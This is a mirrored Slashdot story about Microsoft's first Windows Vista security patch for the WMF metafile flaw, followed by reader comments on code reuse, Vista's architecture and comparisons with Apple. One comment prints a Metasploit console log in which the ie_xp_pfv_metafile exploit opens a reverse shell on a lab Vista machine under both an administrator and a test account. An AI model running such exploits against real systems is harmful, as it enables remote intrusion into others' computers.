Slashdot Mirror


First Windows Vista Security Update Released

Bard Of Vim writes "Microsoft has issued critical security patches for beta testers running the Windows Vista December CTP (Community Technology Preview) and Windows Vista Beta 1, and warned that the new operating system was vulnerable to a remote code execution flaw in the Graphics Rendering Engine. The Vista patches address the same vulnerability that led to the WMF (Windows Metafile) malware attacks earlier this month. The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

19 of 317 comments (clear)

  1. And it wasn't audited while porting?! by Pecisk · · Score: 5, Interesting

    What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?! I would get a someone responsible about security in Windows Vista fired ASAP.

    How they think will be migration from old versions of Windows if such things will countinue to happen? Yeah, I know, OEM will have Vista and that's all. But with Web applications my pick is that lot of enterprises will stick with their Windows 2000/XP.

    No doubt that Microsoft will have hard time to make Vista as smash hit as they would like it to be.

    --
    user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    1. Re:And it wasn't audited while porting?! by giorgiofr · · Score: 5, Interesting

      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it! No, they don't care about security, they don't want to know about WinFS (which isn't there anyway), they certainly don't care about .NET 2.
      What matters is that they don't want to buy a new Dell in order to use... what exactly? Actually, were it not for some games and a slicker GUI, I'd probably stick with 2k, which is still the best Windows made to date. Yeah, holes in RPC and whatnot, but still better than all the other Windowses.

      --
      Global warming is a cube.
    2. Re:And it wasn't audited while porting?! by NetJunkie · · Score: 5, Funny

      You're right! They should fix these bugs before release...in some period where things are still be fixed. Maybe call it....Beta, yeah, that's it. Oh wait....

  2. At least... by ajdlinux · · Score: 5, Insightful

    ...they're fixing bugs before they release. M$ is doing something right and actually attempting to release a more secure Windoze than XP.

  3. Frist patch by sexyrexy · · Score: 5, Insightful

    They ported some functional code to their newest project. I hope they don't get unfairly bashed for this, just because a few bits of said code were discovered to be vulnerable. Every halfway intelligent programmer reuses code - it would be far more stupid not to. This is semi-interesting as a landmark ("frist patch!") but not exactly news because of what it contains.

    --

    Rex is 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    1. Re:Frist patch by IntlHarvester · · Score: 5, Insightful

      > Hell look at what Apple did with OS X in far less time than MSFT

      Apple bought an abandoned OS from the 1980s, that uses kernel with code originally written in the late 1970s. On top of that, they bolted a bunch of Toolbox compatibility code dating from the 80s and 90s, and a bunch of *nix stuff which is also 10-20 years old.

      So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

      --
      Business. Numbers. Money. People. Computer World.
  4. Gibson is such an Alarmist! Now patch your code! by kupci · · Score: 4, Interesting
    Get ready for all the Slashdotters and Microsoft fanboys to rip on Gibson being such an alarmist, as they quietly get ready to patch their boxes.

    The issue here is I think, that Microsoft continues to this day, to be rather sloppy and secretive about fixing their stuff. So if Gibson makes a big flap, so be it. Better that than a back door that MSFT doesn't bother to fix, because they don't consider it a "critical vulnerability" or some other excuse. As Gibson points out, no question this is highlighting one of the main benefits of open source - the source is there for all to see, no dickering about whether it was intentional or not, it gets fixed. Period.

  5. About Windows Vista by mshiltonj · · Score: 4, Interesting
    From: http://msdn.microsoft.com/windowsvista/about/
    Security Advances

    Windows Vista introduces an improved security model that reduces a system's vulnerability to attack while still empowering applications. In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model. As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators. Security is further strengthened with a trust-based validation system through Mandatory Integrity Control, and Windows Resource Protection (the follow-on to Windows File Protection) guarantees a stable, read-only view of a running operating system.
    Uh-huh.
  6. The first one .... by antek9 · · Score: 4, Funny

    .... will probably call itself 'Hasta la vista, baby!'.

    Sorry, couldn't resist, please ignore...

    --
    A World in a Grain of Sand / Heaven in a Wild Flower,
    Infinity in the Palm of your Hand / And Eternity in an Hour.
  7. Re:Vista is Yesterday's News by ajdlinux · · Score: 4, Insightful

    > Unpriveleged access will be the default, and it'll be damn near impossible to breach Yes, because of the hardware-level DRM chips it will be impossible. The next few Windoze OSes will be much more secure, not only from the outside, but from the user.

  8. SetAbortProc is OK by RingDev · · Score: 4, Informative

    "poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

    SetAbortProc is well designed. The problem is the code that handles the WMF. That code is allowing a payload to be placed on the stack and an incorrect pointer to be sent.

    All set abort proc does is send an abort code to the print job and set a call back method to call when the abort completes.

    -Rick

    --
    "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    1. Re:SetAbortProc is OK by RingDev · · Score: 4, Informative
      int SetAbortProc(
      HDC hdc, // handle to DC
      ABORTPROC lpAbortProc // abort function
      );
      SetAbortProc doesn't take a Length value. It takes the DC of the print job to cancel, and the pointer to a call back method to launch when the abort completes.

      I was incorrect in one aspect. SetAbortProc is in the GDI, NOT Win32 library. But it isn't the problem here. The problem is that vulnerbility in the code that parses the record is passing the incorrect call back method pointer to the SetAbortProc method.

      -Rick
      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
  9. Re:Does anyone else get the feeling... by thefogger · · Score: 5, Insightful

    It is reasonable to carry over old code to a new platform if you want to keep compatibility. Why in the world do you think a rewrite would improve security? It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free. The WMF bug was a design flaw, not a coding error. Also, this has nothing to do with Win9x, for which they HAVE cut the support cord regarding the WMF vulnerability.

    Cheers, Fogger

    --


    Um... I didn't do it!
  10. Re:Does anyone else get the feeling... by IntlHarvester · · Score: 5, Insightful

    Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!

    And that is exactly what IT customers want. They only way they can keep all those millions of custom programs developed for Windows over the last decades working is by pulling forward legacy code.

    Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots. Maybe consumer users running Firefox and iTunes and MSN Messenger want a "all new Windows", but nobody else does.

    --
    Business. Numbers. Money. People. Computer World.
  11. Re:Cant wait... by blast3r · · Score: 5, Informative

    I posted something about Vista being vulnerable to the WMF thing in a Vista Kernel post here not long ago. They got a little mad at me but that is okay. Everyone has to be mad at someone!

    People were telling me you can't automatically exploit it but I fired up metasploit and was successful with the admin account and a non-priv account.

    Administrator

    msf ie_xp_pfv_metafile(win32_reverse) > exploit
    [*] Starting Reverse Handler.
    [*] Waiting for connections to http://10.1.1.101:8080/
    [*] HTTP Client connected from 10.1.1.106:49450, redirecting...
    [*] HTTP Client connected from 10.1.1.106:49451, redirecting...
    [*] HTTP Client connected from 10.1.1.106:49452, redirecting...
    [*] HTTP Client connected from 10.1.1.106:49453, sending 1864 bytes of payload...
    [*] Got connection from 10.1.1.101:4321 10.1.1.106:49454

    Microsoft Windows [Version 6.0.5112]
    (C) Copyright 1985-2005 Microsoft Corp.

    E:\Users\Administrator\Desktop>

    Test account

    msf ie_xp_pfv_metafile(win32_reverse) > exploit
    [*] Starting Reverse Handler.
    [*] Waiting for connections to http://10.1.1.101:8080/
    [*] HTTP Client connected from 10.1.1.106:49487, redirecting...
    [*] HTTP Client connected from 10.1.1.106:49488, redirecting...
    [*] HTTP Client connected from 10.1.1.106:49489, sending 1864 bytes of payload...
    [*] Got connection from 10.1.1.101:4321 10.1.1.106:49490

    Microsoft Windows [Version 6.0.5112]
    (C) Copyright 1985-2005 Microsoft Corp.

    E:\Users\test\Desktop>

    I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

  12. I find such a lack of consistency . . . by EraserMouseMan · · Score: 5, Insightful

    entertaining. Google "beta" products that are used by millions have huge security bugs that let malicious persons read anyone's email and nobody says much and it is swept under the rug. Microsoft's "beta" products that are only in use by testers/developers have a security issue and everybody's shaking their head and talking about how horrible MS is. It's just amusing to me.

  13. Re:Cant wait... by Overly+Critical+Guy · · Score: 5, Interesting

    With regards to Vista, it's a valid question. Remember that Microsoft is introducing all sorts of brand new version 1.0 APIs. They had to cancel Vista Beta 2 in favor of CTPs due to their rushed schedule, and they missed their Feature Complete deadline of December and are now aiming for the end of the month. Vista will suffer from reduced testing unless it is delayed to early 2007 (something I believe is likely to happen later this year).

    Contrary to popular belief, Vista isn't some big rewrite. It's the same Windows as before with some architectural changes and new API layers. But the old Win32 stuff is still in there.

    Wait 'til you guys see the fun way Vista gets older apps to run that expect admin privileges--it emulates a virtual filesystem and all sorts of other crazy things. My impression of Vista is that instead of a clean redesign, it's more layers of updates and APIs on the creaky building. As for WinFX, none of the major apps are going to rewrite their big applications just to go to the slow .NET framework. Photoshop, Dreamweaver, Maya, etc. will be Win32 forever.

    I believe there are plenty of reasons to be concerned about Vista. OS X had the advantage of totally starting over and just porting over the old toolbox APIs and calling it Carbon to get older apps to come along. Vista is a weird blend of old cruft and new less-tested code, complete with suspiciously high system requirements. But hey, at least they got shadows on their windows now--I've only been seeing that for five years from Apple.

    --
    "Sufferin' succotash."
  14. Re:.NET 2 = already available. by Nik13 · · Score: 5, Informative

    Actually, .NET 2.0 runs on everything short of Win95 AFAIK. Vista isn't about .NET 2.0 whatsoever, it's about a bunch of other new technologies:

    WPF: Windows Presentation Framework ("avalon"; using XAML): what WinFX and the new AERO Shell are based onto;
    WCF: Windows Communication Foundation ("indigo": an enhancement to Web Services, MSMQ, etc);
    WWF: Windows Workflow Foundation, to help take care of scenarios like the one that was asked on "ask.slashdot.org" just yesterday. Something that's becoming increasingly common/important nowadays.

    People like to just dismiss Vista like it has nothing new or worthwhile, ignoring all the new stuff that actually IS there, not just the previous 3 things mentionned, but there's a great deal of other changes (video drivers not in kernel mode anymore, new audio and printing (both work quite differently), GUI rendered by the

    There are differences. It may not be worthwhile to everyone, but as a programmer I'm looking forward to many of these advances (WCF seems really nice). Saying Vista is about .NET 2 and that people don't care about that is uninformed at best...

    --
    ///<sig />
  15. Re:Didn't Microsoft say... by sethadam1 · · Score: 4, Insightful

    You remember right. That was the deal about 4-5 years ago or so. Gates called it a "bet the company" initiative, and they decided to rewrite from scratch.

    Then, a few years later, pretty much nothing worked, so they tossed out all the 4000-era builds, took a clean copy of Windows 2003 SP1, and built on top of that.

    That is Vista. It's built on Server 2003 SP1.